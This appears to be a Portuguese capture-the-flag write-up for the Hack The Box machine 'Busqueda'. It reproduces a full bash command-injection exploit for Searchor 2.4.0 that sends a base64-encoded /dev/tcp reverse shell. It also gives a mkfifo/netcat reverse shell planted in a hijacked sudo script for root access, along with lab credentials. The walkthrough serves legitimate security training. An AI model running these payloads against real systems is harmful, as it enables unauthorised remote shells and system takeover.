Busqueda

Enumeration

nmap 10.10.11.208
Pasted image 20240805153959.png
Associei o IP ao domain no /etc/hosts:
IP=10.10.11.208
printf "%s\t%s\n\n" "$IP" "searcher.htb" | sudo tee -a /etc/hosts
Acedi ao Site e vi que a versão a ser utilizada era "Searchor 2.4.0", tendo depois pesquisado um PoC que tivesse haver com alguma vulnerabilidade existente na versão;

Exploitation

Searchor 2.4.0

Searchor 2.4.0 PoC 'https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection'
nano exploit.sh


#!/bin/bash

default_port="9001"

port="${3:-$default_port}"

rev_shell_b64=$(echo -ne "bash  -c 'bash -i >& /dev/tcp/$2/${port} 0>&1'" | base64)

evil_cmd="',__import__('os').system('echo ${rev_shell_b64}|base64 -d|bash -i')) # junky comment"

plus="+"

echo "---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---"

if [ -z "${evil_cmd##*$plus*}" ]

then

    evil_cmd=$(echo ${evil_cmd} | sed -r 's/[+]+/%2B/g')

fi

if [ $# -ne 0 ]

then

    echo "[*] Input target is $1"

    echo "[*] Input attacker is $2:${port}"

    echo "[*] Run the Reverse Shell... Press Ctrl+C after successful connection"

    curl -s -X POST $1/search -d "engine=Google&query=${evil_cmd}" 1> /dev/null

else

    echo "[!] Please specify a IP address of target and IP address/Port of attacker for Reverse Shell, for example:

./exploit.sh <TARGET> <ATTACKER> <PORT> [9001 by default]"

fi

Formato de execução: (9001 Default)
./exploit.sh TARGET ATTACKER PORT
Adicionei o PoC no Kali e executei criando um listener no porto 9001 enquanto isso:
nano exploit.sh
chmod +x exploit.sh
nc -lvnp 9001
./exploit.sh searcher.htb 10.10.4.2
Pasted image 20240805154930.png
Pasted image 20240805160328.png
Acedi á user flag e conclui a Exploitation:
cd /home/svc
cat user.txt
Pasted image 20240805160531.png

Privilege Escalation

Foram encontradas credencias cody:jh1usoih2bkjaspwe92 para aceder ao Git:
cd /var/www/app/.git
cat config
Pasted image 20240805161645.png
Acedi por ssh á máquina com as credenciais svc:jh1usoih2bkjaspwe92:
ssh svc@10.10.11.208
jh1usoih2bkjaspwe92
Pasted image 20240805161950.png

Descobri que há um programa em Python que pode ser explorado para obter permissões root:
sudo -l
Pasted image 20240805162150.png
sudo python3 /opt/scripts/system-checkup.py *
Pasted image 20240805162901.png
sudo python3 /opt/scripts/system-checkup.py docker-ps
Pasted image 20240805162932.png
sudo python3 /opt/scripts/system-checkup.py docker-inspect
Pasted image 20240805162955.png

Fui pesquisar para ver os formatos que o comando podia dar e relacionei os comandos utilizados com os comandos existentes do Docker tendo chegado á conclusão que pode ser usado o formato JSON e para isso é preciso instalar o jq para converter para o formato em JSON. A máquina em si já apresenta o formato desejado.
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' 960873171e2e | jq
Pasted image 20240805163546.png
Obtive as credenciais administrator:yuiu1hoiu4i5ho1uh
Adicionei o subdominio gitea ao /etc/hosts:
echo "10.10.11.208 gitea.searcher.htb" | sudo tee -a /etc/hosts
Acedi ao http://gitea.searcher.htb e fiz login com a password obtida anteriormente mas como Administrador.
Pasted image 20240805164406.png
Como posso utilizar o script system-checkup.py explorei melhor o código do mesmo e acabei por encontrar um bash script ./full-checkup.sh que está a ser executado dentro do programasystem-checkup.py:

Pasted image 20240805164516.png

Denotar que o programa referencia apenas o bash script e não o caminho do programa, querendo dizer que o bash script está localizado no mesmo local que o python script;
cd /opt/scripts/
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Pasted image 20240805165055.png

Juicy Part

Como o programa apresenta-se a funcionar corretamente vou então criar um bash script designado full-checkup.sh de forma a ser executado em vez do original:
cd /tmp
echo -en "#! /bin/bash\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 4444 >/tmp/f" > /tmp/full-checkup.sh
chmod +x full-checkup.sh
Pasted image 20240805170138.png
nc -lvnp 4444
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Pasted image 20240805170545.png
A Shell é criada na nossa máquina e obtemos permissões de root na máquina local.
É criado uma TTY shell e pesquisado a flag:
python3 -c 'import pty;pty.spawn("/bin/bash");'
pwd
cd /root
ls
Pasted image 20240805170800.png